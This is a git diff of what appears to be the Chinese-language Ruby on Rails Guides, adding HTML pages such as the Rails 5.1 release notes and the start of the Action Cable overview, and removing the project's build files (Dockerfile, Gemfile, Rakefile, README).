  • 新增配置选项 config.active_support.halt_callback_chains_on_return_false,指定是否允许在前置回调中停止 ActiveRecord、ActiveModel 和 ActiveModel::Validations 回调链。(拉取请求
  • +
  • 把默认的测试顺序由 :sorted 改为 :random。(提交
  • +
  • DateTimeDateTime 添加 #on_weekend?#on_weekday?#next_weekday#prev_weekday 方法。(拉取请求拉取请求
  • +
  • DateTimeDateTime#next_week#prev_week 方法添加 same_time 选项。(拉取请求
  • +
  • DateTimeDateTime 添加 #yesterday#tomorrow 对应的 #prev_day#next_day 方法。
  • +
  • 添加 SecureRandom.base58,生成 base58 字符串。(提交
  • +
  • ActiveSupport::TestCase 添加 file_fixture。这样更便于在测试用例中访问示例文件。(拉取请求
  • +
  • EnumerableArray 添加 #without,返回一个可枚举对象副本,但是不含指定的元素。(拉取请求
  • +
  • 添加 ActiveSupport::ArrayInquirerArray#inquiry。(拉取请求
  • +
  • 添加 ActiveSupport::TimeZone#strptime,使用指定的时区解析时间。(提交
  • +
  • Integer#zero? 启发,添加 Integer#positive?Integer#negative?。(提交
  • +
  • ActiveSupport::OrderedOptions 中的读值方法添加炸弹版本,如果没有值,抛出 KeyError。(拉取请求
  • +
  • 添加 Time.days_in_year,返回指定年份中的日数,如果没有参数,返回当前年份。(提交
  • +
  • 添加一个文件事件监视程序,异步监测应用源码、路由、本地化文件等的变化。(拉取请求
  • +
  • 添加 thread_m/cattr_accessor/reader/writer 方法,声明存活在各个线程中的类和模块变量。(拉取请求
  • +
  • 添加 Array#second_to_lastArray#third_to_last 方法。(拉取请求
  • +
  • 发布 ActiveSupport::ExecutorActiveSupport::Reloader API,允许组件和库管理并参与应用代码的执行以及应用重新加载过程。(拉取请求
  • +
  • ActiveSupport::Duration 现在支持使用和解析 ISO8601 格式。(拉取请求
  • +
  • 启用 parse_json_times 后,ActiveSupport::JSON.decode 支持解析 ISO8601 本地时间。(拉取请求
  • +
  • ActiveSupport::JSON.decode 现在解析日期字符串后返回 Date 对象。(拉取请求
  • +
  • TaggedLogging 支持多次实例化日志记录器,避免共享标签。(拉取请求
  • +
+

11 荣誉榜

得益于众多贡献者,Rails 才能变得这么稳定和强健。向他们致敬!

英语原文还有 Rails 4.24.14.0 等版本的发布记,由于版本旧,不再翻译,敬请谅解。——译者注

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/5_1_release_notes.html b/5_1_release_notes.html new file mode 100644 index 0000000..88006cf --- /dev/null +++ b/5_1_release_notes.html @@ -0,0 +1,606 @@ + + + + + + + +Ruby on Rails 5.1 发布记 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 5.1 发布记

Rails 5.1 的重要变化:

+ +

本文只涵盖重要变化。若想了解缺陷修正和具体变化,请查看更新日志或 GitHub 中 Rails 主仓库的提交历史

+ + + +
+
+ +
+
+
+

1 升级到 Rails 5.1

如果升级现有应用,在继续之前,最好确保有足够的测试覆盖度。如果尚未升级到 Rails 5.0,应该先升级到 5.0 版,确保应用能正常运行之后,再尝试升级到 Rails 5.1。升级时的注意事项参见 从 Rails 5.0 升级到 5.1

2 主要功能

2.1 支持 Yarn

拉取请求

Rails 5.1 支持使用 Yarn 管理通过 NPM 安装的 JavaScript 依赖。这样便于使用 NPM 中的 React、VueJS 等库。对 Yarn 的支持集成在 Asset Pipeline 中,因此所有依赖都能顺利在 Rails 5.1 应用中使用。

2.2 Webpack 支持(可选)

拉取请求

Rails 应用使用新开发的 Webpacker gem 可以轻易集成 JavaScript 静态资源打包工具 Webpack。新建应用时指定 --webpack 参数可启用对 Webpack 的集成。

这与 Asset Pipeline 完全兼容,你可以继续使用 Asset Pipeline 管理图像、字体、音频等静态资源。甚至还可以使用 Asset Pipeline 管理部分 JavaScript 代码,使用 Webpack 管理其他代码。这些都由默认启用的 Yarn 管理。

2.3 jQuery 不再是默认的依赖

拉取请求

Rails 之前的版本默认需要 jQuery,因为要支持 data-remotedata-confirm 等功能,以及 Rails 提供的非侵入式 JavaScript。现在 jQuery 不再需要了,因为 UJS 使用纯 JavaScript 重写了。这个脚本现在通过 Action View 提供,名为 rails-ujs

如果需要,可以继续使用 jQuery,但它不再是默认的依赖了。

2.4 系统测试

拉取请求

Rails 5.1 内建对 Capybara 测试的支持,不过对外称为系统测试。你无需再担心配置 Capybara 和数据库清理策略。Rails 5.1 对这类测试做了包装,可以在 Chrome 运行相关测试,而且失败时还能截图。

2.5 机密信息加密

拉取请求

sekrets gem 启发,Rails 现在以一种安全的方式管理应用中的机密信息。

运行 bin/rails secrets:setup,创建一个加密的机密信息文件。这个命令还会生成一个主密钥,必须把它放在仓库外部。机密信息已经加密,可以放心检入版本控制系统。

在生产环境中,Rails 会使用 RAILS_MASTER_KEY 环境变量或密钥文件中的密钥解密机密信息。

2.6 参数化邮件程序

拉取请求

允许为一个邮件程序类中的所有方法指定通用的参数,方便共享实例变量、首部和其他数据。

+
+class InvitationsMailer < ApplicationMailer
+  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+  before_action { @account = params[:inviter].account }
+
+  def account_invitation
+    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  end
+end
+
+InvitationsMailer.with(inviter: person_a, invitee: person_b)
+                 .account_invitation.deliver_later
+
+
+
+

2.7 direct 路由和 resolve 路由

拉取请求

Rails 5.1 为路由 DSL 增加了两个新方法:resolvedirect。前者用于定制模型的多态映射。

+
+resource :basket
+
+resolve("Basket") { [:basket] }
+
+
+
+
+
+<%= form_for @basket do |form| %>
+  <!-- basket form -->
+<% end %>
+
+
+
+

此时生成的 URL 是单数形式的 /basket,而不是往常的 /baskets/:id

direct 用于创建自定义的 URL 辅助方法。

+
+direct(:homepage) { "http://www.rubyonrails.org/" }
+
+
+
+
+
+>> homepage_url
+=> "http://www.rubyonrails.org/"
+
+
+
+

块的返回值必须能用作 url_for 方法的参数。因此,可以传入有效的 URL 字符串、散列、数组、Active Model 实例或 Active Model 类。

+
+direct :commentable do |model|
+  [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+  { controller: 'pages', action: 'index', subdomain: 'www' }
+end
+
+
+
+

2.8 form_forform_tag 统一为 form_with +

拉取请求

在 Rails 5.1 之前,处理 HTML 表单有两个接口:针对模型实例的 form_for 和针对自定义 URL 的 form_tag

Rails 5.1 把这两个接口统一成 form_with 了,可以根据 URL、作用域或模型生成表单标签。

只使用 URL:

+
+<%= form_with url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# 生成的表单为 %>
+
+<form action="http://github.com/posts" method="post" data-remote="true">
+  <input type="text" name="title">
+</form>
+
+
+
+

指定作用域,添加到输入字段的名称前:

+
+<%= form_with scope: :post, url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# 生成的表单为 %>
+
+<form action="http://github.com/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+
+
+
+

使用模型,从中推知 URL 和作用域:

+
+<%= form_with model: Post.new do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# 生成的表单为 %>
+
+<form action="http://github.com/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+
+
+
+

现有模型的更新表单填有字段的值:

+
+<%= form_with model: Post.first do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# 生成的表单为 %>
+
+<form action="http://github.com/posts/1" method="post" data-remote="true">
+  <input type="hidden" name="_method" value="patch">
+  <input type="text" name="post[title]" value="<the title of the post>">
+</form>
+
+
+
+

3 不兼容的功能

下述变动需要立即采取行动。

3.1 使用多个连接的事务型测试

事务型测试现在把所有 Active Record 连接包装在数据库事务中。

如果测试派生额外的线程,而且线程获得了数据库连接,这些连接现在使用特殊的方式处理。

这些线程将共享一个连接,放在事务中。这样能确保所有线程看到的数据库状态是一样的,忽略最外层的事务。以前,额外的连接无法查看固件记录。

线程进入嵌套的事务时,为了维护隔离性,它会临时获得连接的专用权。

如果你的测试目前要在派生的线程中获得不在事务中的单独连接,需要直接管理连接。

如果测试派生线程,而线程与显式数据库事务交互,这一变化可能导致死锁。

若想避免这个新行为的影响,简单的方法是在受影响的测试用例上禁用事务型测试。

4 Railties

变化详情参见 Changelog

4.1 删除

+
    +
  • 删除弃用的 config.static_cache_control。(提交
  • +
  • 删除弃用的 config.serve_static_files。(提交
  • +
  • 删除弃用的 rails/rack/debugger。(提交
  • +
  • 删除弃用的任务:rails:updaterails:templaterails:template:copyrails:update:configsrails:update:bin。(提交
  • +
  • 删除 routes 任务弃用的 CONTROLLER 环境变量。(提交
  • +
  • 删除 rails new 命令的 -j--javascript)选项。(拉取请求
  • +
+

4.2 重要变化

+
    +
  • config/secrets.yml 中添加一部分,供所有环境使用。(提交
  • +
  • config/secrets.yml 文件中的所有键现在都通过符号加载。(拉取请求
  • +
  • 从默认栈中删除 jquery-rails。Action View 提供的 rails-ujs 现在是默认的 UJS 适配器。(拉取请求
  • +
  • 为新应用添加 Yarn 支持,创建 yarn binstub 和 package.json。(拉取请求
  • +
  • 通过 --webpack 选项为新应用添加 Webpack 支持,相关功能由 rails/webpacker gem 提供。(拉取请求
  • +
  • 生成新应用时,如果没提供 --skip-git 选项,初始化 Git 仓库。(拉取请求
  • +
  • config/secrets.yml.enc 文件中保存加密的机密信息。(拉取请求
  • +
  • rails initializers 中显示 railtie 类名。(拉取请求
  • +
+

5 Action Cable

变化详情参见 Changelog

5.1 重要变化

+
    +
  • 允许在 cable.yml 中为 Redis 和事件型 Redis 适配器提供 channel_prefix,以防多个应用使用同一个 Redis 服务器时名称有冲突。(拉取请求
  • +
  • 添加 ActiveSupport::Notifications 钩子,用于广播数据。(拉取请求
  • +
+

6 Action Pack

变化详情参见 Changelog

6.1 删除

+
    +
  • ActionDispatch::IntegrationTestActionController::TestCase 类的 #process#get#post#patch#put#delete#head 等方法不再允许使用非关键字参数。(提交提交
  • +
  • 删除弃用的 ActionDispatch::Callbacks.to_prepareActionDispatch::Callbacks.to_cleanup。(提交
  • +
  • 删除弃用的与控制器过滤器有关的方法。(提交
  • +
+

6.2 弃用

+
    +
  • 弃用 config.action_controller.raise_on_unfiltered_parameters。在 Rails 5.1 中没有任何效果。(提交
  • +
+

6.3 重要变化

+
    +
  • 为路由 DSL 增加 directresolve 方法。(拉取请求
  • +
  • 新增 ActionDispatch::SystemTestCase 类,用于编写应用的系统测试。(拉取请求
  • +
+

7 Action View

变化详情参见 Changelog

7.1 删除

+
    +
  • 删除 ActionView::Template::Error 中弃用的 #original_exception 方法。(提交
  • +
  • 删除 strip_tags 方法不恰当的 encode_special_chars 选项。(拉取请求
  • +
+

7.2 弃用

+
    +
  • 弃用 ERB 处理程序 Erubis,换成 Erubi。(拉取请求
  • +
+

7.3 重要变化

+
    +
  • 原始模板处理程序(Rails 5 默认的模板处理程序)现在输出对 HTML 安全的字符串。(提交
  • +
  • 修改 datetime_fielddatetime_field_tag,让它们生成 datetime-local 字段。(拉取请求
  • +
  • 新增 Builder 风格的 HTML 标签句法(tag.divtag.br,等等)。(拉取请求
  • +
  • 添加 form_with,统一 form_tagform_for。(拉取请求
  • +
  • current_page? 方法添加 check_parameters 选项。(拉取请求
  • +
+

8 Action Mailer

变化详情参见 Changelog

8.1 重要变化

+
    +
  • 有附件而且在行间设定正文时,允许自定义内容类型。(拉取请求
  • +
  • 允许把 lambda 传给 default 方法。(提交
  • +
  • 支持参数化邮件程序,在动作之间共享前置过滤器和默认值。(提交
  • +
  • 把传给邮件程序动作的参数传给 process.action_mailer 时间,放在 args 键名下。(拉取请求
  • +
+

9 Active Record

变化详情参见 Changelog

9.1 删除

+
    +
  • 不再允许同时为 ActiveRecord::QueryMethods#select 传入参数和块。(提交
  • +
  • 删除弃用的 i18n 作用域 activerecord.errors.messages.restrict_dependent_destroy.oneactiverecord.errors.messages.restrict_dependent_destroy.many。(提交
  • +
  • 删除单个和集合关系读值方法中弃用的 force_reload 参数。(提交
  • +
  • 不再支持把一列传给 #quote。(提交
  • +
  • 删除 #tables 方法弃用的 name 参数。(提交
  • +
  • #tables#table_exists? 不再返回表和视图,而只返回表。(提交
  • +
  • 删除 ActiveRecord::StatementInvalid#initializeActiveRecord::StatementInvalid#original_exception 弃用的 original_exception 参数。(提交
  • +
  • 不再支持在查询中使用类。(提交
  • +
  • 不再支持在 LIMIT 子句中使用逗号。(提交
  • +
  • 删除 #destroy_all 弃用的 conditions 参数。(提交
  • +
  • 删除 #delete_all 弃用的 conditions 参数。(提交
  • +
  • 删除弃用的 #load_schema_for 方法,换成 #load_schema。(提交
  • +
  • 删除弃用的 #raise_in_transactional_callbacks 配置。(提交
  • +
  • 删除弃用的 #use_transactional_fixtures 配置。(提交
  • +
+

9.2 弃用

+
    +
  • 弃用 error_on_ignored_order_or_limit 旗标,改用 error_on_ignored_order。(提交
  • +
  • 弃用 sanitize_conditions,改用 sanitize_sql。(拉取请求
  • +
  • 弃用连接适配器的 supports_migrations? 方法。(拉取请求
  • +
  • 弃用 Migrator.schema_migrations_table_name,改用 SchemaMigration.table_name。(拉取请求
  • +
  • 加引号和做类型转换时不再调用 #quoted_id。(拉取请求
  • +
  • #index_name_exists? 方法不再接受 default 参数。(拉取请求
  • +
+

9.3 重要变化

+
    +
  • 主键的默认类型改为 BIGINT。(拉取请求
  • +
  • 支持 MySQL 5.7.5+ 和 MariaDB 5.2.0+ 的虚拟(生成的)列。(提交
  • +
  • 支持在批量处理时限制记录数量。(提交
  • +
  • 事务型测试现在把所有 Active Record 连接包装在数据库事务中。(拉取请求
  • +
  • 默认跳过 mysqldump 命令输出的注释。(拉取请求
  • +
  • 把块传给 ActiveRecord::Relation#count 时,使用 Ruby 的 Enumerable#count 计算记录数量,而不是悄无声息地忽略块。(拉取请求
  • +
  • "-v ON_ERROR_STOP=1" 旗标传给 psql 命令,不静默 SQL 错误。(拉取请求
  • +
  • 添加 ActiveRecord::Base.connection_pool.stat。(拉取请求
  • +
  • 如果直接继承 ActiveRecord::Migration,抛出错误。应该指定迁移针对的 Rails 版本。(提交
  • +
  • 通过 through 建立的关联,如果反射名称有歧义,抛出错误。(提交
  • +
+

10 Active Model

变化详情参见 Changelog

10.1 删除

+
    +
  • 删除 ActiveModel::Errors 中弃用的方法。(提交
  • +
  • 删除长度验证的 :tokenizer 选项。(提交
  • +
  • 回调返回 false 时不再终止回调链。(提交
  • +
+

10.2 重要变化

+
    +
  • 赋值给模型属性的字符串现在能正确冻结了。(拉取请求
  • +
+

11 Active Job

变化详情参见 Changelog

11.1 删除

+
    +
  • 不再支持把适配器类传给 .queue_adapter。(提交
  • +
  • 删除 ActiveJob::DeserializationError 中弃用的 #original_exception。(提交
  • +
+

11.2 重要变化

+
    +
  • 增加通过 ActiveJob::Base.retry_onActiveJob::Base.discard_on 实现的声明式异常处理。(拉取请求
  • +
  • 把作业实例传入块,这样在尝试失败后可以访问 job.arguments 等信息。(提交
  • +
+

12 Active Support

变化详情参见 Changelog

12.1 删除

+
    +
  • 删除 ActiveSupport::Concurrency::Latch 类。(提交
  • +
  • 删除 halt_callback_chains_on_return_false。(提交
  • +
  • 回调返回 false 时不再终止回调链。(提交
  • +
+

12.2 弃用

+
    +
  • 温和弃用顶层 HashWithIndifferentAccess 类,换成 ActiveSupport::HashWithIndifferentAccess。(拉取请求
  • +
  • set_callbackskip_callback:if:unless 条件选项不再接受字符串。(提交
  • +
+

12.3 重要变化

+
    +
  • 修正 DST 发生变化时的时段解析和变迁。(提交拉取请求
  • +
  • Unicode 更新到 9.0.0 版。(拉取请求
  • +
  • #ago 添加别名 Duration#before,为 #since 添加别名 #after。(拉取请求
  • +
  • 添加 Module#delegate_missing_to,把当前对象未定义的方法委托给一个代理对象。(拉取请求
  • +
  • 添加 Date#all_day,返回一个范围,表示当前日期和时间上的一整天。(拉取请求
  • +
  • 为测试引入 assert_changesassert_no_changes。(拉取请求
  • +
  • 现在嵌套调用 traveltravel_to 抛出异常。(拉取请求
  • +
  • 更新 DateTime#change,支持微秒和纳秒。(拉取请求
  • +
+

13 荣誉榜

得益于众多贡献者,Rails 才能变得这么稳定和强健。向他们致敬!

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index 3d68a43..0000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,54 +0,0 @@ -## Rails 5.1.0 (April 27, 2017) ## - -* No changes. - -## Rails 5.0.1 (December 21, 2016) ## - -* No changes. - - -## Rails 5.0.1.rc2 (December 10, 2016) ## - -* No changes. - - -## Rails 5.0.1.rc1 (December 01, 2016) ## - -* No changes. - - -## Rails 5.0.0 (June 30, 2016) ## - -* Update example of passing a proc to `:message` option for validating records. - - This behavior was recently changed in [Pull Request #24199](https://github.com/rails/rails/pull/24119) to - pass the object being validated as first argument to the `:message` proc, - instead of the key of the field being validated. - - *Prathamesh Sonpatki* - -* Added new guide: Action Cable Overview. - - *David Kuhta* - -* Add code of conduct to contributing guide. - - *Jon Moss* - -* New section in Configuring: Configuring Active Job. - - *Eliot Sykes* - -* New section in Active Record Association Basics: Single Table Inheritance. - - *Andrey Nering* - -* New section in Active Record Querying: Understanding The Method Chaining. - - *Andrey Nering* - -* New section in Configuring: Search Engines Indexing. - - *Andrey Nering* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/guides/CHANGELOG.md) for previous changes. diff --git a/Dockerfile b/Dockerfile deleted file mode 100644 index 3b79bda..0000000 --- a/Dockerfile +++ /dev/null @@ -1,20 +0,0 @@ -FROM ruby:2.4.1 - -RUN mkdir /app -WORKDIR /app - -RUN apt-get update && apt-get -y install imagemagick - -RUN mkdir /tmp/kindlegen && cd /tmp/kindlegen && \ - wget http://kindlegen.s3.amazonaws.com/kindlegen_linux_2.6_i386_v2_9.tar.gz && \ - tar xfz kindlegen_linux_2.6_i386_v2_9.tar.gz && \ - mv kindlegen /usr/local/bin/ - -RUN gem install bundler - -COPY Gemfile /app -COPY Gemfile.lock /app -RUN bundle install - -ENV GUIDES_LANGUAGE=zh-CN -ENV RAILS_VERSION=v5.1.1 diff --git a/Gemfile b/Gemfile deleted file mode 100644 index c963e14..0000000 --- a/Gemfile +++ /dev/null @@ -1,6 +0,0 @@ -# frozen_string_literal: true -source 'https://rubygems.org/' - -gem 'rails', '5.1.1' -gem 'redcarpet' -gem 'kindlerb', '1.2.0' diff --git a/Gemfile.lock b/Gemfile.lock deleted file mode 100644 index 729dd93..0000000 --- a/Gemfile.lock +++ /dev/null @@ -1,117 +0,0 @@ -GEM - remote: https://rubygems.org/ - specs: - actioncable (5.1.1) - actionpack (= 5.1.1) - nio4r (~> 2.0) - websocket-driver (~> 0.6.1) - actionmailer (5.1.1) - actionpack (= 5.1.1) - actionview (= 5.1.1) - activejob (= 5.1.1) - mail (~> 2.5, >= 2.5.4) - rails-dom-testing (~> 2.0) - actionpack (5.1.1) - actionview (= 5.1.1) - activesupport (= 5.1.1) - rack (~> 2.0) - rack-test (~> 0.6.3) - rails-dom-testing (~> 2.0) - rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (5.1.1) - activesupport (= 5.1.1) - builder (~> 3.1) - erubi (~> 1.4) - rails-dom-testing (~> 2.0) - rails-html-sanitizer (~> 1.0, >= 1.0.3) - activejob (5.1.1) - activesupport (= 5.1.1) - globalid (>= 0.3.6) - activemodel (5.1.1) - activesupport (= 5.1.1) - activerecord (5.1.1) - activemodel (= 5.1.1) - activesupport (= 5.1.1) - arel (~> 8.0) - activesupport (5.1.1) - concurrent-ruby (~> 1.0, >= 1.0.2) - i18n (~> 0.7) - minitest (~> 5.1) - tzinfo (~> 1.1) - arel (8.0.0) - builder (3.2.3) - concurrent-ruby (1.0.5) - erubi (1.6.0) - globalid (0.4.0) - activesupport (>= 4.2.0) - i18n (0.8.1) - kindlerb (1.2.0) - mustache - nokogiri - loofah (2.0.3) - nokogiri (>= 1.5.9) - mail (2.6.5) - mime-types (>= 1.16, < 4) - method_source (0.8.2) - mime-types (3.1) - mime-types-data (~> 3.2015) - mime-types-data (3.2016.0521) - mini_portile2 (2.1.0) - minitest (5.10.2) - mustache (1.0.5) - nio4r (2.0.0) - nokogiri (1.7.2) - mini_portile2 (~> 2.1.0) - rack (2.0.3) - rack-test (0.6.3) - rack (>= 1.0) - rails (5.1.1) - actioncable (= 5.1.1) - actionmailer (= 5.1.1) - actionpack (= 5.1.1) - actionview (= 5.1.1) - activejob (= 5.1.1) - activemodel (= 5.1.1) - activerecord (= 5.1.1) - activesupport (= 5.1.1) - bundler (>= 1.3.0, < 2.0) - railties (= 5.1.1) - sprockets-rails (>= 2.0.0) - rails-dom-testing (2.0.3) - activesupport (>= 4.2.0) - nokogiri (>= 1.6) - rails-html-sanitizer (1.0.3) - loofah (~> 2.0) - railties (5.1.1) - actionpack (= 5.1.1) - activesupport (= 5.1.1) - method_source - rake (>= 0.8.7) - thor (>= 0.18.1, < 2.0) - rake (12.0.0) - redcarpet (3.4.0) - sprockets (3.7.1) - concurrent-ruby (~> 1.0) - rack (> 1, < 3) - sprockets-rails (3.2.0) - actionpack (>= 4.0) - activesupport (>= 4.0) - sprockets (>= 3.0.0) - thor (0.19.4) - thread_safe (0.3.6) - tzinfo (1.2.3) - thread_safe (~> 0.1) - websocket-driver (0.6.5) - websocket-extensions (>= 0.1.0) - websocket-extensions (0.1.2) - -PLATFORMS - ruby - -DEPENDENCIES - kindlerb (= 1.2.0) - rails (= 5.1.1) - redcarpet - -BUNDLED WITH - 1.14.6 diff --git a/README.md b/README.md deleted file mode 100644 index fbceff3..0000000 --- a/README.md +++ /dev/null @@ -1,28 +0,0 @@ -# Rails Guide 中文翻译 - -## 构建(基于 Docker) - -为了管理依赖,建议使用 Docker。 - -### 安装 Docker - -https://www.docker.com/ - -### 构建镜像 - -```bash -$ docker build -t rails-guides . -``` - -### 构建 - -```bash -$ docker run -it -v $(pwd):/app rails-guides rake guides:generate:html -$ docker run -it -v $(pwd):/app rails-guides rake guides:generate:kindle -``` - -## 发布 - -另外 clone 一份 repo,checkout 到 `gh-pages` 分支,将 HTML 版内容拷贝进去,commit,push。 - -Kindle 版通过 GitHub Release 发布。 diff --git a/Rakefile b/Rakefile deleted file mode 100644 index 0c37e58..0000000 --- a/Rakefile +++ /dev/null @@ -1,89 +0,0 @@ -namespace :guides do - desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"' - task generate: "generate:html" - - # Guides are written in UTF-8, but the environment may be configured for some - # other locale, these tasks are responsible for ensuring the default external - # encoding is UTF-8. - # - # Real use cases: Generation was reported to fail on a machine configured with - # GBK (Chinese). The docs server once got misconfigured somehow and had "C", - # which broke generation too. - task :encoding do - %w(LANG LANGUAGE LC_ALL).each do |env_var| - ENV[env_var] = "en_US.UTF-8" - end - end - - namespace :generate do - desc "Generate HTML guides" - task html: :encoding do - ENV["WARNINGS"] = "1" # authors can't disable this - ruby "-E UTF-8 rails_guides.rb" - end - - desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/gp/feature.html?docId=1000765211" - task kindle: :encoding do - require "kindlerb" - unless Kindlerb.kindlegen_available? - abort "Please run `setupkindlerb` to install kindlegen" - end - unless `convert` =~ /convert/ - abort "Please install ImageMagick" - end - ENV["KINDLE"] = "1" - Rake::Task["guides:generate:html"].invoke - end - end - - # Validate guides ------------------------------------------------------------------------- - desc 'Validate guides, use ONLY=foo to process just "foo.html"' - task validate: :encoding do - ruby "w3c_validator.rb" - end - - desc "Show help" - task :help do - puts < folder (such as source/es) - -Examples: - $ rake guides:generate ALL=1 RAILS_VERSION=v5.1.0 - $ rake guides:generate ONLY=migrations - $ rake guides:generate:kindle - $ rake guides:generate GUIDES_LANGUAGE=es -HELP - end -end - -task default: "guides:help" diff --git a/_license.html b/_license.html new file mode 100644 index 0000000..d264c02 --- /dev/null +++ b/_license.html @@ -0,0 +1,234 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+

本著作采用 创作共用 署名-相同方式共享 4.0 国际 授权

+

“Rails”,“Ruby on Rails”,以及 Rails Logo 为 David Heinemeier Hansson 的商标。版权所有

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/_welcome.html b/_welcome.html new file mode 100644 index 0000000..718d2bb --- /dev/null +++ b/_welcome.html @@ -0,0 +1,247 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+

Ruby on Rails 指南 (v5.1.1)

+ +

+ 这是 Rails 5.1 的最新指南,基于 v5.1.1。 + 这份指南旨在使您立即获得 Rails 的生产力,并帮助您了解所有组件如何组合在一起。 +

+

+早前版本的指南: +Rails 5.0中文), +Rails 4.2, +Rails 4.1中文), +Rails 4.0, +Rails 3.2,和 +Rails 2.3。 +

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/action_cable_overview.html b/action_cable_overview.html new file mode 100644 index 0000000..c246414 --- /dev/null +++ b/action_cable_overview.html @@ -0,0 +1,698 @@ + + + + + + + +Action Cable 概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Action Cable 概览

本文介绍 Action Cable 的工作原理,以及在 Rails 应用中如何通过 WebSocket 实现实时功能。

读完本文后,您将学到:

+
    +
  • Action Cable 是什么,以及对前后端的集成;
  • +
  • 如何设置 Action Cable;
  • +
  • 如何设置频道(channel);
  • +
  • Action Cable 的部署和架构设置。
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Action Cable 将 WebSocket 与 Rails 应用的其余部分无缝集成。有了 Action Cable,我们就可以用 Ruby 语言,以 Rails 风格实现实时功能,并且保持高性能和可扩展性。Action Cable 为此提供了全栈支持,包括客户端 JavaScript 框架和服务器端 Ruby 框架。同时,我们也能够通过 Action Cable 访问使用 Active Record 或其他 ORM 编写的所有模型。

2 Pub/Sub 是什么

Pub/Sub,也就是发布/订阅,是指在消息队列中,信息发送者(发布者)把数据发送给某一类接收者(订阅者),而不必单独指定接收者。Action Cable 通过发布/订阅的方式在服务器和多个客户端之间通信。

3 服务器端组件

3.1 连接

连接是客户端-服务器通信的基础。每当服务器接受一个 WebSocket,就会实例化一个连接对象。所有频道订阅(channel subscription)都是在继承连接对象的基础上创建的。连接本身并不处理身份验证和授权之外的任何应用逻辑。WebSocket 连接的客户端被称为连接用户(connection consumer)。每当用户新打开一个浏览器标签、窗口或设备,对应地都会新建一个用户-连接对(consumer-connection pair)。

连接是 ApplicationCable::Connection 类的实例。对连接的授权就是在这个类中完成的,对于能够识别的用户,才会继续建立连接。

3.1.1 连接设置
+
+# app/channels/application_cable/connection.rb
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      self.current_user = find_verified_user
+    end
+
+    private
+      def find_verified_user
+        if current_user = User.find_by(id: cookies.signed[:user_id])
+          current_user
+        else
+          reject_unauthorized_connection
+        end
+      end
+  end
+end
+
+
+
+

其中 identified_by 用于声明连接标识符,连接标识符稍后将用于查找指定连接。注意,在声明连接标识符的同时,在基于连接创建的频道实例上,会自动创建同名委托(delegate)。

